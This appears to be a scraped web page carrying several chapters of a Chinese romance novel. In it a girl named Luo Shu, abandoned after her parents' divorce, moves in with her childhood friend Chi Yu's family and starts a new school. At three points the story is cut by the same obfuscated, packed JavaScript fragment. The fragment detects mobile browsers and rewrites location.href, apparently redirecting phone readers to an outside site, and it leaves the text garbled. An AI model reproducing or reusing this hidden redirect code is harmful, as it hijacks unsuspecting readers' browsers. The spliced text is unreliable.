再也不会是爸妈一起来接她放学了，洛姝漫无目的在校园走了很久，一直到太阳快落山的时候，洛亦祥牵着她的手带她回家。 洛姝以为自己会跟着妈妈，毕竟谢玫说自己是她的命。目光落在洛亦祥那只牵着自己的大手时候，她想，又或许，谢玫只是说说而已。 可她不死心，问洛亦祥：“妈妈去哪儿了？” 洛亦祥脸色十分难看，语气也变了调：“她？跟那人出国了，不会回来了。” 哦，原来是这样。 夜里的时候，洛姝擦掉眼泪，感觉心口好疼好疼，像是回到那天洛亦祥拿杯子砸她的时候。 直到今天，从洛亦祥口中得知谢玫出国，不会再回来的时候，她的心就像那天被摔碎的杯子，也摔了个粉碎。 她躲在被窝里，哭到喘不过气，最后还是长长地叹息一声后抱紧了自己。 洛姝最终没能吃上十一岁的生日蛋糕，谢玫专门定制的蛋糕被洛亦祥摔得不成样子躺在地板上，无人问津。 过了好几天，报复似的发出阵阵令人作呕的气味。 前来打扫的阿姨看见家里的狼藉，一反常态地没有多问，打扫干净后悄然离开。 蛋糕的香甜不再，争吵的痕迹被清理干净，有关于谢玫的一切仿佛人间蒸发，家里没了女主人显得空空荡荡，也没有半分温馨。 洛姝被洛亦祥摸了摸头发，突然想到往日里谢玫就是这样，说自己不愧是她女儿，跟她一样拥有柔顺黑亮的头发。 洛姝顿时感觉喉咙里像塞了一团注水的棉花，咳不出咽不下，鼻子阵阵发酸，想哭却又不敢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375721|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她试着拨通那串牢记于心的十一位的电话号码，很可惜一次都没能拨通。 她感觉到难过，心口酸酸胀胀，更多的是迷茫—— 以后还能见到妈妈吗？ 再见的话，妈妈还会这样亲昵地摸摸她柔顺的头发吗？ * 洛姝开始由保姆照顾起居，司机送她上下学，而她的监护人父亲整天早出晚归，从不跟她说明理由。 再后来，洛亦祥很少回家，别墅成了她一个人的家。或者准确来说，是她住的房子。 每天晚上，她会把家里所有的灯打开，她很很怕黑，白天的时候，班上同学围在一块说的鬼故事，一到晚上通通从脑海中冒出来，更令她感到害怕。 她甚至不敢在家里说话，因为只有她一个人，她曾听见自己的回声。 又过了一段时间，她渐渐适应了房子里只有她一个人的生活，也渐渐接受自己“爹不疼娘不爱”的处境。 也就是这个时候，她在别墅看见了洛亦祥。 他似乎从婚变开始，就整天醉醺醺。他总是拉着洛姝说谢玫对不起自己，说她良心被狗吃到肚子里，说自己根本没在外面找女人，什么儿子，都是假的，这些不过是她为了逃离丈夫闺女杜撰出来的。 就这样日复一日地说，说到洛姝耳朵快起了茧子，说到她终于厌烦了面前这个酒鬼，终于没法克制思念妈妈而嚎啕大哭。 只要洛亦祥喝多了满腹牢骚她就开始哭，哭到醉鬼终于神智清醒了一些。 细细的哭声听起来十分委屈，就这样静静听了很久，洛亦祥终于发问：“怎么了洛洛，谁给你委屈受了吗。” 换来的是洛姝幽怨的眼神和抽噎。 洛亦祥突然意识到自己已经许久没有关心女儿的近况，连她在学校里发生了什么都不知道，那个被他和谢玫惯的娇纵任性的宝贝女儿，如今只会张着嘴掉泪珠子，要多委屈有多委屈。 从前不是这样的，那个活泼的女儿会提到学校的所见所闻，哪个老师表扬了她，写了多少作业，课间在窗台看见了几朵不知名的嫩芽终于开了花。 可如今，再也没听她提起过哪个好朋友和她用一样颜色的发绳。 是他这个父亲做的太失败了吗？ 大脑被酒精侵蚀，他没了思考能力，看着女儿和前妻相似的眉眼，忍不住把所有过错都推到谢玫身上：洛洛，要怪就怪你妈，爸爸也不想这样的。” 他又想到了一直以来和女儿关系要好的池煜，似乎只有那个孩子才会包容女儿的大小姐小脾气，因为别的小朋友和她玩了一阵就会躲得远远的。 偏偏池升的这个儿子出奇地有耐心，两个孩子从小在一起就有说不完的话，一句话都会笑上半天。 洛亦祥耐下心来擦掉女儿的泪水，“洛洛，想不想池煜哥哥？” 洛姝停止哭泣，红着眼睛看他。 “爸爸送你去池煜哥哥家里玩几天，好不好？” 11. 02 洛姝迫不及待地收拾好了自己的行李，跟着洛亦祥前去池家。 在她看来去哪都可以，只要离开这栋空荡荡的房子，远离这个只会谩骂前妻的醉鬼。 蒋春燕早已等候在门口，热情地请这对父女俩进家坐，可被推进门的只有洛姝，洛亦祥笑着说：“公司还有事，就不坐了。哪天有空我上门来找嫂子跟升哥喝酒！” “诶，行，那我也就不留你了。”蒋春燕表示理解。 “洛洛要听话啊。”洛亦祥摸了摸女儿的头。 蒋春燕脸上堆满了笑，目送洛亦祥离开后，亲切地拉着洛姝的手：“好久没见洛洛了，长成大姑娘了。来，你之前住的那房间阿姨还给你留着呢，换了你喜欢的粉色床单，我跟你小煜哥哥选的。走，姨带你去看看。” 卧室的布置没有变，一个独属于洛姝的粉色小窝，摆满了各式各样的粉色玩偶，粉白的四件套很少女心，是她喜欢的风格。 在池煜上中学以前，洛姝经常住在这间小屋，以前感觉很有乐趣，现在看着却无比温馨，比那栋没有活人气息的别墅好上千倍万倍。 “喜欢吗？”蒋春燕搂着她，轻声询问：“当时我选了另一款，你哥哥说这个你会喜欢，我拿不定主意就听他的了。” 后半句话洛姝没听清，蒋春燕平时风风火火，说话从来不会软声，像此刻这么温温柔柔的语调，很像她妈妈谢玫。 洛姝有些哽咽，好半晌才说：“我很喜欢，谢谢蒋姨。” 蒋春燕把她紧紧搂在怀里，长叹一声：“傻丫头，心里要是难受就跟姨说，别憋着……” 洛姝紧紧攥着手，把头埋在这个温暖的怀抱里，泣不成声。 * 池煜在市一中读初中，开学读初三。 市一中是出了名的内卷，他又在初中部师资力量最强的那个班，虽然他本人看起来挺悠闲，但蒋春燕和池升感觉压力山大，整个假期都送他去辅导班。 洛姝自打放假后也开始补习，她早在六年级假期便学完了初一的内容，洛亦祥是想让她开学直接进市一中读初二，每天让刘长东接送她去补习班。 以至于洛姝和池煜虽然在同一个屋檐下，但因为补习时间的差别导致两人白天几乎没碰过面，只有晚上才能见到。 半个多月过去，池升车接车送，也没能避免儿子被晒黑了些。 蒋春燕从儿子进门就开始说：“小煜似乎黑了点。” 池升也盯着儿子看：“确实是黑了不少。今年夏天太热。”他又看着沙发上白白净净的洛姝：“咱们洛洛倒是一点都没晒黑。” 池煜没说话，背着书包经过洛姝身边的时候，揉了揉她的头发。 次日，洛姝特地起了个大早，和正在刷牙的池煜打了个照面：“哥哥，怎么样，我起来的早吧？” “这么棒，很罕见。” 池煜刚洗完头没多久，头发只擦了五分干，顺着发根在滴水，额前的头发被他撩到头顶，露出饱满光洁额头，睡眼惺忪的眉眼看起来比平时温柔多了。 洛姝盯着他，心想，青春期不是都会长痘痘吗，他竟然没有一颗。 池煜把热毛巾覆盖在脸上，很快拿下来，看着她：“看什么。” “看你啊。”洛姝举起白皙的手臂：“你好像真是比前段时间黑了点。” 池煜也举起手臂，虚虚握住拳和她比了比。 洛姝很瘦，小臂纤细白皙，手上带着一条细细的银链和银镯，她上下晃动手腕，银镯上的铃铛轻轻地响了两声。 “嗯，正好可以衬你。” 池煜揉了揉她黑顺的头发，洛姝记得上一次见他是在去年，那时候地池煜还没有这么高，短短一年时间她竟然要高高扬起脖子看他。 她还差一丢丢一米六，目前在班里的女生堆里不算高。还记得五年级的时候她一五八，还算班里个子高的，结果到了六年级，班里男生抽条似的长高了个子。 洛姝不满地拿掉他的手：“我还要长个儿呢，你可别摸我头了。” 洛姝长得像妈妈多一点，尤其是这双清澈明亮的眼睛，眼尾略下垂，睫毛浓密，稍稍压下眉头就显得有些可怜巴巴的，就像现在这样。 池煜笑了一声：“从哪听来的这个说法。” 洛姝盯着镜子里的自己，理了理头发：“都这么说的。我怕长不高嘛。而且我现在体育课都要站在第一排。” 说着这话的时候，她声音渐渐小了许多：“个子矮的才要站在第一排呢。” “不矮啊。”在对上洛姝怀疑的目光时，池煜背靠着墙，抬手做了个向上的托举姿势，补充：“大不了以后我举着你。” 洛姝狐疑地看他，“真的假的？” “当然，什么时候骗过你。” 池煜偏头看了眼客厅上的时间，蒋春燕也端着早点放上桌，催促：“快来吃早饭。等会关门声音小点，洛洛还没醒呢。” 洛姝听见这话，吐掉口中的牙膏沫，从门内露出半个头：“我醒啦蒋姨。” “今天醒这么早啊，那快点洗漱好来吃饭吧，等会让你池叔送你去上课。” “嗯嗯。” 洛姝心里暖洋洋的。 真想永远留在这一刻，她想。 * 暑期临近尾声的时候，洛姝的所有课程终于结束。 上午九点半，洛亦祥敲响了池家的门。 池升看见来人，忙招呼让他进家里来：“好一阵子没看见你来，公司这么忙？” “是有点。想着洛洛补完课了来看看她。” 蒋春燕朝两个紧闭的房门看了眼，声音放低了些：“洛洛现在还没醒。” 洛亦祥说：“不打紧。我来是想拜托升哥跟嫂子一件事。” 蒋春燕和池升坐在他对面的沙发上，齐齐开口：“你说。” “是这样的。洛洛判给了我，你们也知道。她妈呢直接出国了，洛洛现在这个情况……” 洛亦祥扯了扯唇角：“就跟没了妈一样。现在公司上下什么都要管，我每天也顾不上去照顾她，所以她心情一直都不太好，她小学老师那时候来找过我。我也想过和她沟通沟通，但是没什么效果，就想着她跟小煜关系一向要好，所以上回跟嫂子和升哥聊了聊，就把她送来了。” 池升和蒋春燕听出画外音，池升没着急发表看法，倒是蒋春燕先开口表态：“我跟小煜他爸从小看着洛洛长大的，这跟亲闺女有什么区别？你管着公司还要照顾闺女确实有点顾不过来。洛洛在我们家挺好的，咱两家又跟一家人似的，她在这里又不拘束，就让她在这呗。你给她放那么大一别墅里自己一个人，还怪孤单的。” 池升点点头：“她自己住在那房子里你也不放心，还不如让她待在这。小煜跟她一个学校，就凭他俩这成绩，之后高中肯定也是在一中念，两个人结伴还能一块回家。” “是的呀，总比洛洛总是一个人要好得多。”蒋春燕补充。 好一会儿洛亦祥才开口：“还是嫂子想得周到，我一个当爸爸的，女儿很多事也不好直言过问。” 他从钱包里掏出一张卡放在茶几上，推到池升和蒋春燕的面前：“这张卡里有五十万，就当我谢谢哥跟嫂子帮了我一个大忙。” 池升推脱不要，洛亦祥又说：“之后每个月我会打进两万块钱给她当生活费。她还小，给她我也不太放心，哥嫂就替我帮她保管吧。” 池升叹口气，“咱哥俩都认识多少年了？提钱多伤感情，我池升哪里是少这……” 话还没说完就被蒋春燕掐了一把，他悻悻住了口，但也没收那张卡。 洛亦祥无奈地笑笑：“我知道升哥不差这点钱，但这不是我的一点心意嘛。不收下我这哪还好意思让闺女留在这里？嫂子，我劝不动他，你可得给老弟个面子收下。” 蒋春燕看着桌上那张卡，犹犹豫豫，没说收也没说不收，只是说：“哎呀你看你，总是这么客气。” 她还要再说些场面话，其中一间紧闭的房门打开，三个大人都默契地闭上了嘴，侧目望过去，池煜走了出来，看见洛亦祥，顿了片刻才开口：“洛叔叔。” 也不等洛亦祥说话，就直接进了卫生间关上了门。 这一小插曲过后，卡的事谁都没再提，蒋春燕早在池煜关上门的就把茶几上那张银行卡揣到兜里。 * 洛姝一觉睡到了十点，被敲门声喊醒：“洛洛醒了吗，爸爸来看你了。” 这熟悉的称呼竟然有些陌生。 洛姝快速梳洗好去了客厅，池煜坐在沙发的一角，池升和蒋春燕正在和洛亦祥说话，满脸笑意，看见她来，招呼她过来坐。 她坐在了池煜旁边，听着三个大人你来我往的交谈自知没有自己说话的份，兀自抠着手心。 阳台的落地窗开着，暖风吹起了纱帘，阳光刚好照在洛姝坐着的那一角，暖烘烘的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375722|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 披散在肩头的黑长发在这个假期长了许多，在阳光下依旧呈现着黑亮亮的光泽。 前一夜洛姝一直在和好朋友梁诺诺煲电话粥，加上暑期的课程终于结束，她松懈下来，肆无忌惮地熬到了夜里三点，从来没有这么晚睡过的她开始打瞌睡，小鸡啄米似的点头，最后还是因为靠在池煜肩膀上被硌了一下脸才清醒了些。 “你太瘦了，硌到我脸了。”洛姝揉了揉脸颊，重新靠回去，闭着眼睛说：“怎么有人吃不胖呢。” 池煜没躲，肩膀往下塌了塌，任由她靠在肩膀上，眼见肩膀上那颗脑袋要栽出去，伸出手扶住她的脸：“怎么这么困，回屋睡吧。” “我不，我就这样睡。”洛姝眼睛都不睁。 “你不嫌硌脸就可以。” 洛姝改去靠在他手臂上，她的发质有些硬，不规整地搭在池煜小臂上，闻着那股若隐若现的洗发水味，让他无端感觉心里发痒。 摘下洛姝手腕上套着的发绳，池煜帮她把头发拢到一起，笨拙地给她扎了个简易的马尾，刚收回手就被洛姝攥紧了小指和无名指：“哥哥，你能不能再摸摸我头发？” “什么怪要求。”嘴上这么说着，池煜还是把手搁在她发顶，却没有摸下去。 “特别催眠！你再摸摸看，我给你表演一个当场睡着。”池煜的手比洛姝长了一大截，顺着她的发顶顺到发尾梳下来的动作温柔又缓慢，感觉像是在给头皮做按摩，很舒服，尾椎骨处都传来一股酥麻的痒。这种触感并非是自己上手梳就能体验到的。 可是池煜只是轻轻拍了拍她的发顶，并没有继续动作，等了好一会儿也没能等到那股酥麻的感觉，洛姝干脆坐直了身子，心不在焉地听着三个大人闲聊。 没过多久，洛亦祥就要起身告辞：“公司还有事儿，我就先回去了。” “这么急？留下吃顿饭吧。”池升挽留。 洛亦祥抱歉地笑笑：“我倒是也想，就是最近走不开，过来一趟也是抽个空。等下次，下次一定。” “那行吧，下次一定要来啊，你嫂子的手艺你知道的。”池升送他出门。 洛姝一言不发地跟在三个大人身后，磨磨蹭蹭走到玄关处一声不吭。 洛亦祥摸了摸女儿的脑袋，他看着池煜，笑着说：“小煜真是长高了很多，马上都快比我高了。洛洛和你相处地还不错吧，她小时候虽然调皮了点，但是还是挺听你话的。刚刚我看你俩的相处模式也挺和谐。” 池煜没有说话，只是扯了扯唇角，露出一个不冷不淡的笑容。 “小煜小时候总念叨要个妹妹，自从见到了洛洛，那可是真当亲妹妹照顾的。”蒋春燕打趣着开口，池升也笑起来，附和：“可不，现在照顾妹妹也积极呀。” 洛亦祥低下头，问女儿：“在小煜哥哥家是不是很开心？” 洛姝心不在焉地嗯了声。 洛亦祥笑容满面：“开心就好。爸爸知道你在家嫌孤单，也不开心。这个假期在小煜哥哥家里过得这么开心，那就多在这里住一段时间好不好？” 洛姝听出来了，洛亦祥虽然是问句，却不容她拒绝，因为问完她就开始和两个大人聊天，说的是她住在这里的事情。 三言两语就把洛姝住在池家的一切事宜交代好了，洛亦祥临走时还不忘和女儿说：“要是想回家就给爸爸打电话，爸爸不管再忙都会来接你，或者等爸爸最近忙完来接你好吗？” 洛姝不理他，洛亦祥等了片刻没等到女儿的应答，脸上的笑容有些挂不住，蒋春燕把洛姝搂紧怀里：“这丫头没睡醒呢，你看刚刚在沙发上困成什么样了。” 洛亦祥脸色这才好看了些，直起身子，又和池煜说了几句，无非就是让他多照顾一下自己这个任性骄纵的女儿。 他一次都没有回头，离开的很干脆。 一直到深夜，洛姝想到洛亦祥头也不回离开的那一幕，想到他面对自己时假模假样的态度，最后说出那番让他留在池家的说辞，你好像自己是什么棘手的物件，迫不及待要将她送走，眼不见为净。 洛姝感觉自己好像被抛弃了。 她就好像谢玫和洛亦祥养的宠物，他俩爱的死去活来的时候，自己是他们爱的结晶，捧在手心，暖在怀中。 而等到他们相看两厌之后，于是她就成了随时可以被弃养的宠物。 心脏像一张纸，翻来覆去被揉皱成一团，偏巧卡在嗓子眼，咽不下去，硬生生激出眼泪。 12. 03 九月初，新学期开学，蒋春燕带着洛姝先去了办公室。班主任康语已经等在那儿，和蒋春燕寒暄了一阵便带着洛姝去班级。 “不用担心，班里同学都很好相处的。有什么学习上不懂的就来找我，不要跟阿姨客气。”康语是洛亦祥的高中同学，洛姝以前曾跟着洛亦祥去同学聚会时见过她。 洛姝乖巧点头：“谢谢康老师。” 开学第一天，所有学生的情绪都很高涨，康语带着洛姝进班的时候，八班学生三三两两围在一块嘻嘻哈哈。 康语敲了敲讲台，几乎是一瞬间班里安静下来，不过在一众目光落在新来的女同学身上的时候，又发出“哇哦”的起哄声。 “这是咱们班新同学。”康语搂着洛姝的肩膀，让她做自我介绍。 “大家好，我叫洛姝。” 洛姝声音清脆，毫不怯场。 她的五官很柔和，一双黑亮的眼睛弯着，看起来就很讨喜，脸上挂着很浅的微笑，仔细看还能看见脸颊边小小的梨涡。 讲台下的学生交头接耳，目光都落在这位新来的漂亮女同学身上，话题的女主角无一例外都是她。 康语示意安静，然后拍了拍洛姝的肩膀：“新同学刚来，大家要和谐相处，平时带着她熟悉一下新环境。来，我看看你先坐在哪儿呢。” 教室里有好几个位置空着，康语看着举起手的赵慕挽，手指着她旁边的空桌：“去那赵慕挽那儿吧。” 洛姝背着书包坐在了赵慕挽身边，前后桌都投来好奇的目光，“你的名字是哪两个字呀，姓氏还挺少见的。” 洛姝回答完，不知是谁说了句：“你的头发好顺滑，黑亮亮的发质好好！” “你的眼睛很漂亮，小小的脸上五官大大的。” “皮肤也好白，白的发光诶！” 前后桌都是女孩子，谈起这个话题几乎停不下来，洛姝一边道谢一边把书包里的盒装曲奇饼干递给她们。 赵慕挽半个身子都靠过来，凑近了和她搭话：“你真的很漂亮，之前是哪个初中的？按理来说你会出现在粱城中学生表白墙上的，怎么从来没见过你。对了，你怎么想到转进我们班？” 洛姝也凑近她，低声说：“我跳了一级。” 小学毕业直接上初二？ 赵慕挽印象里的跳级生都是脑瓜子特别聪明的，不由得睁大眼睛：“莫非你是天才？” 洛姝“噗嗤”笑出声，头埋在手臂上好一会儿才笑够：“才不是！你好夸张。” 康语在讲台上默默看了一阵，见洛姝和新同桌相处融洽便放下心来，喊了十几个男生去搬新书本。 洛姝和赵慕挽聊了许多生活中的小爱好，大有一见如故的架势，最后一节课上完，交换了彼此的QQ，甚至约着周末一起出去逛街。 市一中规定学生中午要在学校用餐，洛姝人生地不熟，一直跟在赵慕挽身边。然而还没到食堂门口，原先秩序井然排好队的同学一窝蜂地涌进食堂，洛姝和赵慕挽直接被人挤散，等到终于站住脚，她已经找不到同桌的身影。 新学期的第一天，很多学生都没有穿校服，他们步伐快速，不作停留，但洛姝还是一眼看见了人群中的池煜。 或许是因为她的目光太直白，池煜偏头看了过来，随后朝她招手：“怎么站在那？” “跟同桌走散了。”洛姝朝四周看了看，还是没能看到赵慕挽。 池煜望向一楼食堂，几乎每个窗口都挤满了人，“等多久了？” 洛姝抬手看了眼时间，她在这里等了快五分钟了，“等了有一会儿。” “走吧，去楼上吃饭。” “这样可以吗？”洛姝伸头看了眼二楼食堂门口标着的大字：初三食堂楼。 池煜抬了抬下巴，看着她短T前的logo：“没穿校服认不出来你。” “或者我们去一楼吃。”他提议。 “去二楼吧！”洛姝完全没犹豫，“以后有的是时间在一楼吃。等过一阵穿校服就不能去二楼了。” 话音刚落就拔腿跑上了楼梯，一回头发现池煜在原地看着自己，洛姝笑着朝他招手，催促：“哥，走了！” 池煜人高腿长，没几步就走到她身边，几不可闻地“哼”了声，笑着打趣道：“平时在家没看你吃饭这么积极。” “没吃过食堂嘛。”洛姝走得很快。 二楼食堂的情况要比一楼好一些，窗口没有挤满太多人，洛姝没排多久就打好了饭菜，跟着池煜到一张空桌子前坐下。 两荤一素，一碗蛋花紫菜汤，分量不算多但看起来很有食欲。 洛姝刚要开动，一个嚼着口香糖的男生大咧咧地坐到池煜身边，勾着他的肩膀，朝洛姝挥了挥手打招呼：“嗨，洛洛，又见面了。” “苏望月。” 池煜喊他名字，警告他把手拿开。 苏望月“诶”了两声举起手，伸头看了眼洛姝餐盘里的菜，又看了看池煜的，这兄妹俩打的都是一样的菜。 他和洛姝打过几次照面，假期的时候找过池煜一起去辅导班，好几回都碰上洛姝在客厅看电视，也说过几次话，但不熟。 虽然他之前没怎么跟洛姝说过话，但不妨碍他很自来熟地问洛姝：“好吃吗？” 洛姝点头：“还可以。” “行，那我也打饭去。”苏望月说完就起身，丢下一句“帮我占个座”后，闪身离开。 洛姝把碗里的芹菜夹到池煜餐盘里，他们俩打的是同一窗口的菜，都有那道西芹炒鸡丁，她不爱吃芹菜。 池煜把餐盘里的芹菜都挑出来，连带着洛姝夹过来的一块吃掉。 苏望月端着餐盘过来的时候，就见洛姝正在夹池煜盘子里的鸡丁，池煜则是低着头捡着她夹过来的芹菜吃，配合的很默契，一看就是在家里也是这样。 苏望月挤过来，“煜哥，我也不爱吃芹菜，你帮我的也吃了呗？” 池煜连个眼神也没给：“滚。” 苏望月：“……” 洛姝想笑但是又不敢，生怕自己脸上绷不住的表情会被苏望月看见。 好在一顿饭吃得很快，不同于沉默寡言的池煜，苏望月可以用热情的话唠来形容，哪怕池煜不怎么搭腔，他也能让气氛活跃起来。 洛姝顺着楼梯上了二楼，班门口站着的赵慕挽看见她，立刻迎上前：“可算见到你了，你在哪桌吃饭啦？都没能看见你。咱俩走散的时候我还以为你已经进了食堂呢。” “我在外面等了会儿没看见你，正好碰见了我哥哥，就去了二楼吃饭。”洛姝跟着她一起朝班级走。 赵慕挽圈着她胳膊：“原来你哥哥在学校读初三呀。二楼的饭好吃吗？” “还可以。” 赵慕挽：“我是真没想到吃饭的人那么多，还能给我们两个挤散了。” 洛姝说：“明天我会牢牢抓住你。” 赵慕挽：“放心吧，明天一定不会这样了。对了，放学你怎么回家？” 池煜家离市一中不算太远，步行二十分钟就到了。池升早上交代了池煜，让他放学等着洛姝一起。 “我跟我哥哥一起回家。” “听起来你哥哥好好，他平时很照顾你吧。” 洛姝点点头。 赵慕挽一脸羡慕：“不像我有个弟弟，天天还要伺候他。你长得这么好看，你哥哥肯定很帅，对不对？” 洛姝解释：“他不是我亲哥哥，是我从小一起长大的发小，我们两家关系很好，我又一直都喊他哥哥，喊习惯了。” 这个年龄段的小姑娘都比较在意这个：“那他帅不帅？” 洛姝想说，帅，很帅。 不过还是谦虚了一下，“还好。” “＇还好＇是什么意思？” 赵慕挽在班里看了一圈，悄悄指了指班长——班里颜值最高的男生，问洛姝：“你觉得班长怎么样？” 洛姝看向她手指的方向，班长很白，五官很端正，要说帅却谈不上，顶多算清秀：“可以说实话吗？” 赵慕挽：“可以。” 洛姝低声说：“一般。” “那你对比一下，觉得你哥帅不帅。” 洛姝不说话，点了好几下头。 赵慕挽拍起手，很高兴的样子：“那你的眼光应该错不了。你哥我更要看看了，放学一起走！” * 傍晚最后一节课铃敲响，赵慕挽已经收拾好书包，火急火燎地拉着洛姝出班门。 初一教学楼挨着操场，穿过树林要走五分钟才能看见学校大门，挨着校门口的那栋楼就是初三教学楼。 校门口远远望去人头攒动，洛姝停下脚步，缓了口气，“咱俩跑什么？” 赵慕挽捏着书包带，也大口喘气：“好奇你哥长什么样嘛！走走走。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375723|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 池煜就等在教学楼外，穿着纯白的T恤衫和浅色牛仔裤，他跟同年龄男生差不多高，但胜在身板直挺，从不驼背，又加上他皮肤白，在人群中很轻易能看见。 “哥哥！” 洛姝高高举起手，挽着同桌的胳膊三两步迈上台阶：“回去了。” 她介绍：“这是我同桌，赵慕挽。” 赵慕挽站在洛姝旁边，朝池煜打了个招呼，她是真的没想到洛姝嘴里的＇还好＇竟然这么帅！洛姝还是有点太过于谦虚了。 池煜笑了下，看着两个小姑娘白生生的脸上都红扑扑的：“跑过来的？” “嗯。” 池煜朝校门口扬了扬下巴：“走吧。” “诶，别走啊，等我！” 苏望月背着书包追出来，三级台阶瞧都没瞧，直接跳下来跑到池煜旁边，然后倒退着走了两步，在看见赵慕挽的时候，打了个响指：“洛洛这么快就交到朋友了，够可以啊。” 洛姝扬起脸，紧紧揽着赵慕挽：“那当然了。” 她拉着同桌快步朝前走，赵慕挽一直没吭声，目光落在苏望月的脸上，直到和后面两个男生拉远距离，才说：“他是谁啊？你哥哥朋友吗。” “嗯，我哥哥的好朋友，他俩一个班。” 赵慕挽又回头看了眼，正好对上苏望月的目光，他长得很帅气，但对比起身旁的男孩子来说，缺少精致感。笑容始终挂在脸上，露出一口整齐洁白的牙齿，笑起来张扬又好看。 傍晚的风吹在脸上暖暖的，吹不散赵慕挽脸上的热意，她迅速回过头，问洛姝：“那他叫什么名字啊。” “他叫苏望月。” “这么一听像女孩名。” 赵慕挽是搭公交车，刚好这个时间有一辆，等车的学生不算多，她跟洛姝告别上了车。 停车棚在校外，苏望月推着一辆粉蓝色的死飞出来，颜色很鲜艳，更适合女孩子。他骑着有点违和，但胜在他长得显小，肤色没那么深，骑着这辆鲜艳的死飞自行车也算说得过去。 洛姝眼睛都看直了，她以前出行都是司机接送，这会儿也想拥有一辆自己的单车。 “喜欢？”池煜问。 洛姝不加掩饰：“喜欢！” 苏望月朝她扬扬眉，拍了拍车垫：“怎么样，好看吧。哥捎你一截。” 这辆自行车除了车座和前杠，别的可坐不了人。虽然不知道这种自行车为什么会设计成这样，但无疑，坐在前杠的话会很尴尬。 洛姝开着玩笑：“坐哪，坐在后面车轮子上？” 苏望月拍了拍前叉：“坐这呀，我还没带过人呢，来，洛洛你坐上面试试。” “你能安全骑到家就不错了。”池煜带着妹妹直接朝左拐，洛姝回头，跟苏望月挥手：“拜拜。” “拜拜。”苏望月骑上车，毫不在意被池煜骂了，扬长而去。 在校外不过说了几句话的功夫，原先熙熙攘攘的人群已经散开，池煜和洛姝肩并肩朝家走，看她频频望向苏望月离开的方向，问：“有想法？” “嗯，想买！还没自己骑过车上学呢。” 池煜把她让到路里侧：“周末带你去店里看看。” 洛姝听懂他的画外音，忍着脸上有些憋不住的喜色：“只是看一看吗？” “看中的就给你买。” 洛姝笑容憋不住了，两只眼睛弯起来，像两枚月牙：“真的呀？” 池煜也笑了，拉了她一把示意她好好走路：“什么时候骗过你？” “好耶！” 洛姝认真地看着他的眼睛：“哥哥，你好好啊。” 池煜低着头看她：“这样就对你好了啊？怎么那么容易被收买啊小洛姝。” 洛姝实话实说：“因为你已经对我够好了呀。” 不过是从小一起长大的发小而已，没有任何亲缘关系的纽带，却因为自己小他两岁才喊的“哥哥”，就真把自己当亲妹妹照顾。 池煜轻揉了揉她的头，直起身子，很轻地说了句：“还不够。” 洛姝到他肩膀的位置，没能听清他说的话，也没在意他揉自己的头发，踮起脚尖，问：“你……说什么？” “真没听到，还是假没听到？” 洛姝抬起头跳了两下：“真的呀，听到还会明知故问吗？” 池煜重新把手搭在她发顶，“我说，我们该回去了。” 13. 04 洛姝期待了好几天的周末到来，她罕见地没有在周末睡懒觉，起了个大早陪同蒋春燕和池煜吃了个早饭。 浔城的死飞店很多，洛姝提前在手机上做好了攻略，跟着池煜直奔目的地。 本以为进店会眼花缭乱甚至会挑花了眼，谁知一眼便看上了喜欢的。她指着老板手里正在擦拭的黑粉配色的自行车：“哥哥，我要这个。” 老板看了这对兄妹一眼，小姑娘很漂亮，看起来很乖巧，一旁被她称作哥哥的这个少年长得可以用好看来形容，两人年纪不大，又都很白，年纪看起来似乎连十五岁都没有。 听到这姑娘斩钉截铁地要了手里的这辆车，老板笑起来：“小姑娘眼光不错嘛。很多人来店里都看上了这个配色。” 本以为他这番话会得到洛姝的赞同，谁知洛姝鼓起腮帮子，“很多人都喜欢吗？那我不要了。” 这辆价格2888，现在的孩子都被家长宠上了天，要说身上装个三千块钱，他信，可他没遇到过。 老板干笑了两声，顺手用手里擦拭布擦了擦手，话在舌根转了几个弯才说：“是有很多人都喜欢，但是呢因为价格太高嘛，也就没人买。你们爸妈呢？” 洛姝这才高兴起来，围着这辆车看了好几眼，最后拍了拍车垫，对池煜说：“那我就要这个。” 然后才回答老板：“得爸妈来才能买？” 老板不动声色地打量这对兄妹的穿着，女生穿着黑色短T和阔腿裤，手上戴着的首饰他一个男人不太懂，看起来像是四叶草但不知道为什么是黑色的，或许是为了搭衣服。 他只扫了一眼便去看旁边的哥哥，男生穿得很普通，浅色T恤衫搭着宽松工装裤，胜在身高腿长长得够帅，换做别人这身衣服真穿不出来这效果。 等到老板看见洛姝和池煜脚上穿着同一款老爹鞋的时候，笑容更盛，“那倒不是，只是我这店里来买车的客人都没有你们两个这么年轻的。” 老板是玩鞋的，知道他俩脚上踩着的巴黎世家3XL价格不低，心道，现在的家长真舍得给孩子花钱。 他指着桌上的二维码，看着池煜：“当哥哥的对妹妹真好。” 